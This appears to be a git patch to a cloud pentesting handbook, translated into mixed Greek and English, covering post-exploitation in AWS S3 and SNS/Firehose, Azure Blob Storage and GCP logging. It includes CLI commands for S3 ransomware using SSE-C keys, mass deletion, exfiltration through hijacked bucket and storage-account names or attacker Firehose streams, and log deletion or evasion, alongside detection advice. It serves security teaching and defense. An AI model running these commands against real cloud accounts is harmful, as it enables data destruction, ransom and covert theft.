From 930f09b41ba5eea14b98536295e75f3f388183ca Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 25 Jun 2026 15:59:40 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp --- .../aws-s3-post-exploitation/README.md | 92 +++++++++----- .../aws-sns-firehose-exfil.md | 34 ++++-- .../az-blob-storage-post-exploitation.md | 37 +++++- .../gcp-logging-post-exploitation.md | 60 +++++++--- .../gcp-pub-sub-post-exploitation.md | 85 +++++++++---- .../gcp-storage-post-exploitation.md | 58 +++++++-- .../pentesting-cloud-methodology.md | 113 +++++++++++------- 7 files changed, 338 insertions(+), 141 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md index 3ca4512cd..4f9ad8624 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md @@ -4,47 +4,47 @@ ## S3 -For more information check: +Για περισσότερες πληροφορίες ελέγξτε: {{#ref}} ../../aws-services/aws-s3-athena-and-glacier-enum.md {{#endref}} -### Sensitive Information +### Ευαίσθητες Πληροφορίες -Κάποιες φορές θα μπορείτε να βρείτε ευαίσθητες πληροφορίες αναγνώσιμες μέσα στα buckets. Για παράδειγμα, terraform state secrets. +Μερικές φορές θα μπορέσετε να βρείτε ευαίσθητες πληροφορίες σε readable μέσα στα buckets. Για παράδειγμα, terraform state secrets. ### Pivoting -Διαφορετικές πλατφόρμες μπορεί να χρησιμοποιούν S3 για αποθήκευση ευαίσθητων assets.\ -Για παράδειγμα, **airflow** μπορεί να αποθηκεύει **DAGs** **code** εκεί, ή **web pages** μπορεί να σερβίρονται απευθείας από το S3. Ένας attacker με write permissions θα μπορούσε να **modify the code** στο bucket για να **pivot** σε άλλες πλατφόρμες, ή να **takeover accounts** τροποποιώντας JS αρχεία. +Διαφορετικές πλατφόρμες μπορεί να χρησιμοποιούν S3 για να αποθηκεύουν ευαίσθητα assets.\ +Για παράδειγμα, το **airflow** μπορεί να αποθηκεύει εκεί **DAGs** **code**, ή **web pages** μπορεί να σερβίρονται απευθείας από το S3. Ένας attacker με δικαιώματα εγγραφής θα μπορούσε να **τροποποιήσει το code** από το bucket για να κάνει **pivot** σε άλλες πλατφόρμες, ή να κάνει **takeover accounts** τροποποιώντας JS files. ### S3 Ransomware -Σε αυτό το σενάριο, ο **attacker δημιουργεί ένα KMS (Key Management Service) key στον δικό του AWS account** ή σε έναν άλλο compromised account. Έπειτα κάνει αυτό το **key προσβάσιμο σε οποιονδήποτε στον κόσμο**, επιτρέποντας σε οποιονδήποτε AWS user, role, ή account να κρυπτογραφήσει objects χρησιμοποιώντας αυτό το key. Ωστόσο, τα αντικείμενα δεν μπορούν να αποκρυπτογραφηθούν. +Σε αυτό το σενάριο, ο **attacker δημιουργεί ένα KMS (Key Management Service) key στον δικό του AWS account** ή σε άλλο compromised account. Έπειτα κάνει αυτό το **key accessible to anyone in the world**, επιτρέποντας σε οποιονδήποτε AWS user, role ή account να encrypt objects χρησιμοποιώντας αυτό το key. Ωστόσο, τα objects δεν μπορούν να decrypt. -Ο attacker εντοπίζει ένα στοχοθετημένο **S3 bucket και αποκτά write-level access** σε αυτό με διάφορους τρόπους. Αυτό μπορεί να οφείλεται σε κακή διαμόρφωση του bucket που το εκθέτει δημόσια ή στο ότι ο attacker απέκτησε πρόσβαση στο AWS περιβάλλον. Ο attacker στοχεύει συνήθως buckets που περιέχουν ευαίσθητες πληροφορίες όπως προσωπικά αναγνωρίσιμα δεδομένα (PII), προστατευμένες ιατρικές πληροφορίες (PHI), logs, backups, κ.ά. +Ο attacker εντοπίζει ένα target **S3 bucket και αποκτά write-level access** σε αυτό με διάφορες μεθόδους. Αυτό μπορεί να οφείλεται σε κακή ρύθμιση του bucket που το εκθέτει δημόσια ή στο ότι ο attacker απέκτησε πρόσβαση στο ίδιο το AWS environment. Συνήθως στοχεύει buckets που περιέχουν ευαίσθητες πληροφορίες όπως personally identifiable information (PII), protected health information (PHI), logs, backups και άλλα. -Για να καθορίσει αν το bucket μπορεί να στοχευτεί για ransomware, ο attacker ελέγχει τη διαμόρφωσή του. Αυτό περιλαμβάνει την επαλήθευση αν είναι ενεργοποιημένο το **S3 Object Versioning** και αν το **multi-factor authentication delete (MFA delete)** είναι ενεργοποιημένο. Αν το Object Versioning δεν είναι ενεργοποιημένο, ο attacker μπορεί να προχωρήσει. Αν το Object Versioning είναι ενεργοποιημένο αλλά το MFA delete είναι απενεργοποιημένο, ο attacker μπορεί να **disable Object Versioning**. Αν και το Object Versioning και το MFA delete είναι ενεργοποιημένα, γίνεται πιο δύσκολο για τον attacker να κάνει ransomware σε αυτό το συγκεκριμένο bucket. +Για να καθορίσει αν το bucket μπορεί να στοχευτεί για ransomware, ο attacker ελέγχει τη ρύθμισή του. Αυτό περιλαμβάνει την επιβεβαίωση ότι το **S3 Object Versioning** είναι enabled και ότι το **multi-factor authentication delete (MFA delete)** είναι enabled. Αν το Object Versioning δεν είναι enabled, ο attacker μπορεί να προχωρήσει. Αν το Object Versioning είναι enabled αλλά το MFA delete είναι disabled, ο attacker μπορεί να **disable Object Versioning**. Αν και το Object Versioning και το MFA delete είναι enabled, γίνεται πιο δύσκολο για τον attacker να ransomware αυτό το συγκεκριμένο bucket. -Χρησιμοποιώντας το AWS API, ο attacker **αντικαθιστά κάθε object στο bucket με ένα encrypted αντίγραφο χρησιμοποιώντας το δικό του KMS key**. Αυτό ουσιαστικά κρυπτογραφεί τα δεδομένα στο bucket, καθιστώντας τα μη προσβάσιμα χωρίς το key. +Χρησιμοποιώντας το AWS API, ο attacker **αντικαθιστά κάθε object στο bucket με ένα encrypted copy χρησιμοποιώντας το δικό του KMS key**. Αυτό ουσιαστικά encrypts τα δεδομένα στο bucket, καθιστώντας τα inaccessible χωρίς το key. -Για να ασκήσει περαιτέρω πίεση, ο attacker προγραμματίζει τη διαγραφή του KMS key που χρησιμοποιήθηκε στην επίθεση. Αυτό δίνει στον στόχο ένα παράθυρο 7 ημερών για να ανακτήσει τα δεδομένα πριν το key διαγραφεί και τα δεδομένα χαθούν οριστικά. +Για να ασκήσει μεγαλύτερη πίεση, ο attacker προγραμματίζει τη διαγραφή του KMS key που χρησιμοποιήθηκε στην επίθεση. Αυτό δίνει στον στόχο ένα παράθυρο 7 ημερών για να ανακτήσει τα δεδομένα του πριν διαγραφεί το key και τα δεδομένα χαθούν μόνιμα. -Τέλος, ο attacker μπορεί να ανεβάσει ένα τελικό αρχείο, συνήθως ονομαζόμενο "ransom-note.txt", που περιέχει οδηγίες προς τον στόχο για το πώς να ανακτήσει τα αρχεία του. Αυτό το αρχείο ανεβαίνει χωρίς κρυπτογράφηση, πιθανώς για να τραβήξει την προσοχή του στόχου και να τον ενημερώσει για την επίθεση ransomware. +Τέλος, ο attacker θα μπορούσε να ανεβάσει ένα τελικό file, συνήθως με όνομα "ransom-note.txt," το οποίο περιέχει οδηγίες για τον στόχο σχετικά με το πώς να ανακτήσει τα files του. Αυτό το file ανεβαίνει χωρίς encryption, πιθανότατα για να τραβήξει την προσοχή του στόχου και να τον ενημερώσει για την ransomware επίθεση. #### SSE-C (Customer-Provided Key) Ransomware (Codefinger-like) -Μια άλλη παραλλαγή είναι η κατάχρηση του **SSE-C** (S3 server-side encryption with **customer-provided keys**). Με το SSE-C, ο **client παρέχει το encryption key σε κάθε αίτημα** και **η AWS δεν αποθηκεύει το key**. Αυτό σημαίνει ότι αν ένας attacker επανεγγράψει objects χρησιμοποιώντας **το δικό του SSE-C key**, τα δεδομένα του θύματος γίνονται μη αναγνώσιμα εκτός αν το θύμα μπορεί να παράσχει το attacker-controlled key. +Μια άλλη παραλλαγή είναι η κατάχρηση του **SSE-C** (S3 server-side encryption με **customer-provided keys**). Με το SSE-C, ο **client παρέχει το encryption key σε κάθε request** και το **AWS δεν αποθηκεύει το key**. Αυτό σημαίνει ότι αν ένας attacker ξαναγράψει objects χρησιμοποιώντας το **δικό του SSE-C key**, τα δεδομένα του θύματος γίνονται unreadable εκτός αν το θύμα μπορεί να παρέχει αυτό το attacker-controlled key. -- **Preconditions:** Compromised AWS credentials (ή οποιοδήποτε principal με τα κατάλληλα permissions) και η ικανότητα να **rewrite objects** (π.χ., `s3:PutObject` στα target keys/prefixes). Αυτό συχνά συνοδεύεται από την ικανότητα να οριστούν destructive lifecycle policies (βλέπε παρακάτω), π.χ. `s3:PutLifecycleConfiguration`. +- **Προϋποθέσεις:** Compromised AWS credentials (ή οποιοδήποτε principal με τα σωστά permissions) και η δυνατότητα να **rewrite objects** (π.χ. `s3:PutObject` στα target keys/prefixes). Αυτό συχνά συνδυάζεται με τη δυνατότητα ρύθμισης destructive lifecycle policies (δείτε παρακάτω), π.χ. `s3:PutLifecycleConfiguration`. - **Attack chain:** -1. Attacker δημιουργεί ένα τυχαίο 256-bit key (AES-256) και το κρατάει. -2. Attacker **rewrites** υπάρχοντα objects (ίδια object keys) χρησιμοποιώντας SSE-C headers ώστε το αποθηκευμένο object να είναι πλέον κρυπτογραφημένο με το attacker key. -3. Το θύμα δεν μπορεί να κατεβάσει/αποκρυπτογραφήσει χωρίς να παρέχει το SSE-C key (ακόμα κι αν τα IAM permissions είναι εντάξει). -4. Attacker μπορεί να διαγράψει το key (ή απλά να μην το παρέχει ποτέ) κάνοντας τα δεδομένα μη ανακτήσιμα. +1. Ο attacker δημιουργεί ένα τυχαίο 256-bit key (AES-256) και το κρατά. +2. Ο attacker **ξαναγράφει** υπάρχοντα objects (ίδια object keys) χρησιμοποιώντας SSE-C headers, έτσι ώστε το αποθηκευμένο object να είναι πλέον encrypted με το attacker key. +3. Το θύμα δεν μπορεί να download/decrypt χωρίς να παρέχει το SSE-C key (ακόμα κι αν τα IAM permissions είναι σωστά). +4. Ο attacker μπορεί να διαγράψει το key (ή απλώς να μην το παρέχει ποτέ) για να κάνει τα δεδομένα unrecoverable. -Example (conceptual) CLI usage: +Παράδειγμα (conceptual) CLI usage: ```bash # Upload/overwrite an object encrypted with attacker-provided SSE-C key aws s3 cp ./file s3:/// \ @@ -56,25 +56,25 @@ aws s3 cp s3:/// ./file \ --sse-c AES256 \ --sse-c-key ``` -##### Προσθήκη Πίεσης: Κατάχρηση "Timer" του lifecycle +##### Προσθήκη Πίεσης: Κατάχρηση του Lifecycle "Timer" -Για να αφαιρέσουν επιλογές ανάκτησης (όπως παλιές εκδόσεις), οι επιτιθέμενοι μπορούν να συνδυάσουν επανεγγραφές SSE-C με **κανόνες κύκλου ζωής** που λήγουν αντικείμενα και/ή διαγράφουν noncurrent versions μετά από μικρό χρονικό διάστημα: +Για να αφαιρέσουν επιλογές recovery (όπως παλιές εκδόσεις), οι attackers μπορούν να συνδυάσουν SSE-C rewrites με **lifecycle rules** που λήγουν objects και/ή διαγράφουν noncurrent versions μετά από σύντομο χρονικό διάστημα: -- `s3:PutLifecycleConfiguration` στο bucket επιτρέπει σε έναν επιτιθέμενο να προγραμματίσει διαγραφές χωρίς να εκτελεί ρητές εντολές delete για κάθε αντικείμενο/έκδοση. -- Αυτό είναι ιδιαίτερα αποτελεσματικό όταν **versioning είναι ενεργοποιημένο**, επειδή μπορεί να αφαιρέσει την "προηγούμενη καλή έκδοση" που διαφορετικά θα επέτρεπε ανάκτηση. +- `s3:PutLifecycleConfiguration` στο bucket επιτρέπει σε έναν attacker να προγραμματίσει διαγραφές χωρίς να εκτελεί explicit delete operations για κάθε object/version. +- Αυτό είναι ιδιαίτερα impactful όταν το **versioning is enabled**, επειδή μπορεί να αφαιρέσει την "previous good version" που διαφορετικά θα επέτρεπε recovery. -##### Ανίχνευση & Αντιμετώπιση +##### Detection & Mitigations -- Προτιμήστε **SSE-KMS** (ή SSE-S3) αντί του SSE-C, εκτός αν έχετε ισχυρό λειτουργικό λόγο να επιτρέψετε SSE-C. -- Παρακολουθήστε/ειδοποιήστε για αιτήσεις `PutObject` που χρησιμοποιούν headers SSE-C (CloudTrail data events για S3). -- Παρακολουθήστε/ειδοποιήστε για απροσδόκητα `PutBucketLifecycleConfiguration` (αλλαγές lifecycle). -- Παρακολουθήστε/ειδοποιήστε για ξαφνικές κορυφώσεις στη δραστηριότητα υπεγγραφής (ίδια keys που ενημερώνονται γρήγορα) και διαγραφές delete-marker/εκδόσεων. -- Περιορίστε δικαιώματα υψηλού κινδύνου: Περιορίστε το `s3:PutObject` σε απαραίτητα prefixes· περιορίστε αυστηρά τα `s3:PutLifecycleConfiguration` και `s3:PutBucketVersioning`; εξετάστε την απαίτηση MFA για ευαίσθητες διαχειριστικές ενέργειες (όπου εφαρμόζεται) και χρησιμοποιήστε ξεχωριστούς admin ρόλους με εγκρίσεις. -- Στάση ανάκτησης: Χρησιμοποιήστε **versioning**, **backups**, και αμετάβλητα/εκτός σύνδεσης αντίγραφα (S3 replication σε προστατευμένο account, backup vaults, κ.λπ.); προστατέψτε τις noncurrent versions από επιθετικές διαγραφές και φυλάξτε τις αλλαγές lifecycle με SCPs / guardrails. +- Προτιμήστε **SSE-KMS** (ή SSE-S3) αντί για SSE-C, εκτός αν έχετε ισχυρό operational reason για να επιτρέπετε SSE-C. +- Παρακολουθείτε/alert σε `PutObject` requests που χρησιμοποιούν SSE-C headers (CloudTrail data events για S3). +- Παρακολουθείτε/alert σε απροσδόκητο `PutBucketLifecycleConfiguration` (lifecycle changes). +- Παρακολουθείτε/alert σε απότομες αυξήσεις στο overwrite activity (ίδια keys ενημερώνονται γρήγορα) και σε delete-marker/version deletions. +- Περιορίστε high-risk permissions: Περιορίστε το `s3:PutObject` μόνο στα απαραίτητα prefixes· περιορίστε αυστηρά τα `s3:PutLifecycleConfiguration` και `s3:PutBucketVersioning`· εξετάστε την απαίτηση MFA για ευαίσθητες admin actions (όπου ισχύει) και χρησιμοποιήστε ξεχωριστούς admin roles με approvals. +- Recovery posture: Χρησιμοποιήστε **versioning**, **backups**, και immutable/offline copies (S3 replication σε protected account, backup vaults, κ.λπ.)· προστατέψτε τα noncurrent versions από επιθετική διαγραφή και θωρακίστε τις lifecycle changes με SCPs / guardrails. ### `s3:RestoreObject` -Ένας επιτιθέμενος με το δικαίωμα `s3:RestoreObject` μπορεί να επανενεργοποιήσει αντικείμενα που έχουν αρχειοθετηθεί στο Glacier ή στο Deep Archive, καθιστώντας τα προσωρινά προσβάσιμα. Αυτό επιτρέπει την ανάκτηση και την εξαγωγή (exfiltration) ιστορικά αρχειοθετημένων δεδομένων (backups, snapshots, logs, certifications, παλιά secrets) που κανονικά θα ήταν εκτός προσβασιμότητας. Εάν ο επιτιθέμενος συνδυάσει αυτό το δικαίωμα με δικαιώματα ανάγνωσης (π.χ. `s3:GetObject`), μπορεί να αποκτήσει πλήρη αντίγραφα ευαίσθητων δεδομένων. +Ένας attacker με το s3:RestoreObject permission μπορεί να επανενεργοποιήσει objects που είναι archived σε Glacier ή Deep Archive, καθιστώντας τα προσωρινά προσβάσιμα. Αυτό επιτρέπει recovery και exfiltration ιστορικά archived data (backups, snapshots, logs, certifications, old secrets) που κανονικά θα ήταν εκτός εμβέλειας. Αν ο attacker συνδυάσει αυτό το permission με read permissions (π.χ. s3:GetObject), μπορεί να αποκτήσει πλήρη αντίγραφα ευαίσθητων δεδομένων. ```bash aws s3api restore-object \ --bucket \ @@ -86,7 +86,7 @@ aws s3api restore-object \ ``` ### `s3:Delete*` -Ένας attacker με την άδεια s3:Delete* μπορεί να διαγράψει objects, versions και ολόκληρα buckets, να διαταράξει backups και να προκαλέσει άμεση και μη αναστρέψιμη απώλεια δεδομένων, καταστροφή αποδεικτικών στοιχείων και συμβιβασμό των backup ή recovery artifacts. +Ένας επιτιθέμενος με το δικαίωμα s3:Delete* μπορεί να διαγράψει objects, versions και ολόκληρα buckets, να διαταράξει backups και να προκαλέσει άμεση και μη αναστρέψιμη απώλεια δεδομένων, καταστροφή αποδεικτικών στοιχείων και παραβίαση backup ή recovery artifacts. ```bash # Delete an object from a bucket aws s3api delete-object \ @@ -103,6 +103,34 @@ aws s3api delete-object \ aws s3api delete-bucket \ --bucket ``` -**Για περισσότερες πληροφορίες** [**Δείτε την αρχική έρευνα**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** +### Καθολική κατάληψη ονόματος bucket των autonomous writers - `s3:DeleteBucket` + +Τα ονόματα S3 bucket είναι globally unique. Αν ένας victim account έχει automated writers που συνεχίζουν να παραδίδουν δεδομένα στο `arn:aws:s3:::` και ένας attacker μπορεί να αδειάσει/διαγράψει αυτό το bucket, ο attacker μπορεί να δημιουργήσει ξανά το ίδιο bucket name σε έναν attacker-controlled account και να λαμβάνει μελλοντικές deliveries χωρίς να αλλάξει τη upstream service configuration. + +Καλά targets για review περιλαμβάνουν S3 replication destinations, Kinesis Data Firehose delivery streams, CloudWatch Logs/SNS/WAF delivery chains που καταλήγουν σε S3, και custom backup ή export jobs. +```bash +# Review S3 replication destinations on source buckets +aws s3api get-bucket-replication --bucket + +# Review Firehose S3 destinations +aws firehose describe-delivery-stream \ +--delivery-stream-name + +# Empty and delete the target bucket, if permitted +aws s3 rm s3:// --recursive +aws s3api delete-bucket --bucket + +# Recreate the same globally-unique name in the attacker account +aws s3 mb s3:// --region +``` +Η πολιτική αντικατάστασης bucket πρέπει να επιτρέπει στον upstream writer να κάνει put objects. Το ακριβές principal εξαρτάται από την υπηρεσία: για παράδειγμα ένα IAM replication role, ένα Firehose delivery role, ή ένα service principal περιορισμένο με `aws:SourceArn` / `aws:SourceAccount`. + +**Potential Impact:** σιωπηρή exfiltration μελλοντικών replicated objects, logs, telemetry, backups και pipeline artifacts σε AWS account που ελέγχει ο attacker. + +**Detection & Mitigation:** alert για διαγραφή buckets που αναφέρονται από replication rules ή delivery streams, monitor για `NoSuchBucket` delivery failures που ακολουθούνται από bucket recreation, restrict το `s3:DeleteBucket` σε export destinations, και pin cross-account deliveries με strict bucket policies και ownership expectations. + + + +**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md index ec4a449b8..5a637e60e 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md @@ -2,14 +2,14 @@ {{#include ../../../../banners/hacktricks-training.md}} -Κατάχρηση του πρωτοκόλλου συνδρομής Firehose για να καταχωρήσετε ένα υπό έλεγχο από επιτιθέμενο Kinesis Data Firehose delivery stream σε ένα θύμα SNS standard topic. Μόλις η συνδρομή είναι εγκατεστημένη και ο απαιτούμενος IAM role εμπιστεύεται `sns.amazonaws.com`, κάθε μελλοντική ειδοποίηση καταχωρείται μόνιμα στο S3 bucket του επιτιθέμενου με ελάχιστο θόρυβο. +Κατάχρησε το Firehose subscription protocol για να καταχωρήσεις ένα Kinesis Data Firehose delivery stream υπό τον έλεγχο του attacker σε ένα victim SNS standard topic. Μόλις η subscription μπει σε ισχύ και το απαιτούμενο IAM role εμπιστεύεται το `sns.amazonaws.com`, κάθε μελλοντικό notification γράφεται μόνιμα στο S3 bucket του attacker με ελάχιστο noise. -## Απαιτήσεις -- Δικαιώματα στον λογαριασμό του επιτιθέμενου για να δημιουργήσει ένα S3 bucket, Firehose delivery stream, και τον IAM role που χρησιμοποιείται από το Firehose (`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, κ.λπ.). -- Η δυνατότητα να εκτελέσει `sns:Subscribe` στο topic του θύματος (και προαιρετικά `sns:SetSubscriptionAttributes` αν το subscription role ARN παρέχεται μετά τη δημιουργία). -- Μια topic policy που επιτρέπει στον attacker principal να εγγραφεί (ή ο επιτιθέμενος ήδη δρα μέσα στον ίδιο λογαριασμό). +## Requirements +- Permissions στο attacker account για να δημιουργήσει ένα S3 bucket, Firehose delivery stream, και το IAM role που χρησιμοποιεί το Firehose (`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, etc.). +- Η δυνατότητα να κάνεις `sns:Subscribe` στο victim topic (και προαιρετικά `sns:SetSubscriptionAttributes` αν το subscription role ARN παρέχεται μετά τη δημιουργία). +- Ένα topic policy που επιτρέπει στον attacker principal να κάνει subscribe (ή ο attacker ήδη λειτουργεί μέσα στο ίδιο account). -## Βήματα επίθεσης (παράδειγμα εντός του ίδιου λογαριασμού) +## Attack Steps (same-account example) ```bash REGION=us-east-1 ACC_ID=$(aws sts get-caller-identity --query Account --output text) @@ -67,10 +67,24 @@ aws sns publish --topic-arn "$TOPIC_ARN" --message 'pii:ssn-123-45-6789' --regio sleep 90 aws s3 ls s3://$ATTACKER_BUCKET/ --recursive ``` -## Καθαρισμός -- Διαγράψτε τη συνδρομή SNS, το Firehose delivery stream, τους προσωρινούς IAM ρόλους/πολιτικές και το attacker S3 bucket. +## Cleanup +- Διαγράψτε το SNS subscription, το Firehose delivery stream, τα προσωρινά IAM roles/policies και το attacker S3 bucket. -## Επιπτώσεις -**Πιθανή Επίπτωση**: Συνεχής, μόνιμη exfiltration κάθε μηνύματος που δημοσιεύεται στο στοχευμένο SNS topic σε attacker-controlled storage με ελάχιστο λειτουργικό αποτύπωμα. +## Impact +**Potential Impact**: Συνεχής, ανθεκτική exfiltration κάθε message που δημοσιεύεται στο στοχευμένο SNS topic σε attacker-controlled storage με ελάχιστο operational footprint. + +## Related Bucket-Name Hijack Variant + +Αν ένα υπάρχον SNS -> Firehose -> S3 chain ήδη γράφει σε ένα bucket και ο attacker μπορεί να διαγράψει εκείνο το bucket, μπορεί να είναι σε θέση να δημιουργήσει ξανά το ίδιο globally-unique S3 bucket name σε έναν attacker-controlled account. Τα μελλοντικά Firehose deliveries μπορούν τότε να καταλήξουν στο replacement bucket χωρίς να αλλάξει το SNS subscription ή το Firehose stream configuration. +```bash +# Identify the Firehose S3 destination +aws firehose describe-delivery-stream \ +--delivery-stream-name \ +--query 'DeliveryStreamDescription.Destinations[].S3DestinationDescription' + +# After deleting the original bucket, recreate the same name in the attacker account +aws s3 mb s3:// --region +``` +Grant the Firehose delivery role access to the replacement bucket if the role can write cross-account. Monitor for bucket deletion on Firehose destinations, delivery failures, and unexpected bucket ownership changes. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md index a4ac4d12a..938090461 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md @@ -4,7 +4,7 @@ ## Storage Privesc -Για περισσότερες πληροφορίες σχετικά με την αποθήκευση, ελέγξτε: +Για περισσότερες πληροφορίες σχετικά με το storage δες: {{#ref}} ../az-services/az-storage.md @@ -12,7 +12,7 @@ ### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read` -Ένας κύριος με αυτή την άδεια θα μπορεί να **καταγράψει** τα blobs (αρχεία) μέσα σε ένα κοντέινερ και να **κατεβάσει** τα αρχεία που μπορεί να περιέχουν **ευαίσθητες πληροφορίες**. +Ένα principal με αυτή την permission θα μπορεί να **list** τα blobs (files) μέσα σε ένα container και να **download** τα files, τα οποία μπορεί να περιέχουν **sensitive information**. ```bash # e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read az storage blob list \ @@ -26,7 +26,7 @@ az storage blob download \ ``` ### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write` -Ένας χρήστης με αυτή την άδεια θα μπορεί να **γράψει και να αντικαταστήσει αρχεία σε κοντέινερ** που μπορεί να του επιτρέψει να προκαλέσει κάποια ζημιά ή ακόμα και να κλιμακώσει τα δικαιώματα (π.χ. να αντικαταστήσει κάποιον κωδικό που είναι αποθηκευμένος σε ένα blob): +Ένα principal με αυτήν την permission θα μπορεί να **γράφει και να αντικαθιστά αρχεία σε containers**, κάτι που μπορεί να του επιτρέψει να προκαλέσει ζημιά ή ακόμα και να escalate privileges (π.χ. να αντικαταστήσει κάποιο code αποθηκευμένο σε ένα blob): ```bash # e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write az storage blob upload \ @@ -36,6 +36,35 @@ az storage blob upload \ ``` ### \*/delete -Αυτό θα επέτρεπε τη διαγραφή αντικειμένων μέσα στον λογαριασμό αποθήκευσης, κάτι που θα μπορούσε να **διακόψει ορισμένες υπηρεσίες** ή να κάνει τον πελάτη να **χάσει πολύτιμες πληροφορίες**. +Αυτό θα επέτρεπε τη διαγραφή objects μέσα στο storage account, κάτι που μπορεί να **διακόψει κάποιες υπηρεσίες** ή να κάνει τον client να **χάσει πολύτιμες πληροφορίες**. + +### Storage account name takeover of diagnostic exports + +Τα Azure Storage account names είναι globally unique. Ορισμένα autonomous exports, όπως τα Azure Monitor diagnostic settings, συνεχίζουν να γράφουν logs ή metrics σε ένα configured storage account. Αν ένας attacker μπορεί να διαγράψει αυτό το storage account και να δημιουργήσει ξανά το ίδιο όνομα σε ένα attacker-controlled subscription μέσα στο ίδιο tenant, τα μελλοντικά exported telemetry μπορεί να παραδοθούν στο replacement account χωρίς να τροποποιηθεί το diagnostic setting. + +Αυτό είναι ιδιαίτερα ενδιαφέρον όταν ο attacker έχει destructive permissions όπως `Microsoft.Storage/storageAccounts/delete`, αλλά δεν μπορεί να ενημερώσει το monitored resource ή τα diagnostic settings του. + +Αυτό απαιτεί το storage account name να έχει αποδεσμευτεί για επαναχρησιμοποίηση. Στην πράξη, τα Azure storage account soft delete / recovery protections μπορούν να καθυστερήσουν ή να αποτρέψουν την άμεση επαναχρησιμοποίηση, ειδικά μεταξύ tenants. +```bash +# Find diagnostic settings that write to a storage account +az monitor diagnostic-settings list \ +--resource \ +--query '[].{name:name,storageAccountId:storageAccountId}' + +# Delete the storage account, if permitted +az storage account delete \ +--name \ +--resource-group + +# Recreate the same globally-unique storage account name +az storage account create \ +--name \ +--resource-group \ +--location \ +--sku Standard_LRS +``` +**Πιθανός Αντίκτυπος:** μακροπρόθεσμη exfiltration μελλοντικών logs, metrics, audit data και diagnostic archives σε subscription που ελέγχεται από τον attacker. + +**Ανίχνευση & Mitigation:** alert για διαγραφή storage accounts που αναφέρονται από diagnostic settings, inventory diagnostic settings με `storageAccountId`, παρακολούθηση για dangling destinations, και αυστηρός περιορισμός καταστροφικών permissions σε logging/archive storage accounts. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md index 9f876df56..f21228af9 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md @@ -16,19 +16,19 @@ gcp-monitoring-post-exploitation.md {{#endref}} -### Προεπιλεγμένο Logging +### Default Logging -**Ως προεπιλογή δεν θα εντοπιστείτε απλώς επειδή εκτελείτε ενέργειες ανάγνωσης. Για περισσότερες πληροφορίες δείτε την ενότητα Logging Enum.** +**Από προεπιλογή δεν θα εντοπιστείτε μόνο και μόνο επειδή εκτελείτε read actions. Για περισσότερες πληροφορίες δείτε την ενότητα Logging Enum.** -### Προσθήκη Excepted Principal +### Add Excepted Principal -Στο [https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) και [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) είναι δυνατή η προσθήκη principals ώστε να μην δημιουργούνται logs. An attacker θα μπορούσε να εκμεταλλευτεί αυτό για να αποφύγει τον εντοπισμό. +Στο [https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) και στο [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) είναι δυνατό να προστεθούν principals ώστε να μην δημιουργούνται logs. Ένας attacker θα μπορούσε να το εκμεταλλευτεί αυτό για να μην εντοπιστεί. -### Ανάγνωση logs - `logging.logEntries.list` +### Read logs - `logging.logEntries.list`
-Ανάγνωση εγγραφών log +Read log entries ```bash # Read logs gcloud logging read "logName=projects/your-project-id/logs/log-id" --limit=10 --format=json @@ -44,18 +44,18 @@ gcloud logging read "timestamp >= \"2023-01-01T00:00:00Z\"" --limit=10 --format=
-Διαγραφή εγγραφών καταγραφής +Διαγραφή καταχωρήσεων log ```bash # Delete all entries from a log in the _Default log bucket - logging.logs.delete gcloud logging logs delete ```
-### Εγγραφή καταγραφών - `logging.logEntries.create` +### Εγγραφή logs - `logging.logEntries.create`
-Καταχώρηση εγγραφής καταγραφής +Εγγραφή log entry ```bash # Write a log entry to try to disrupt some system gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR @@ -66,7 +66,7 @@ gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR
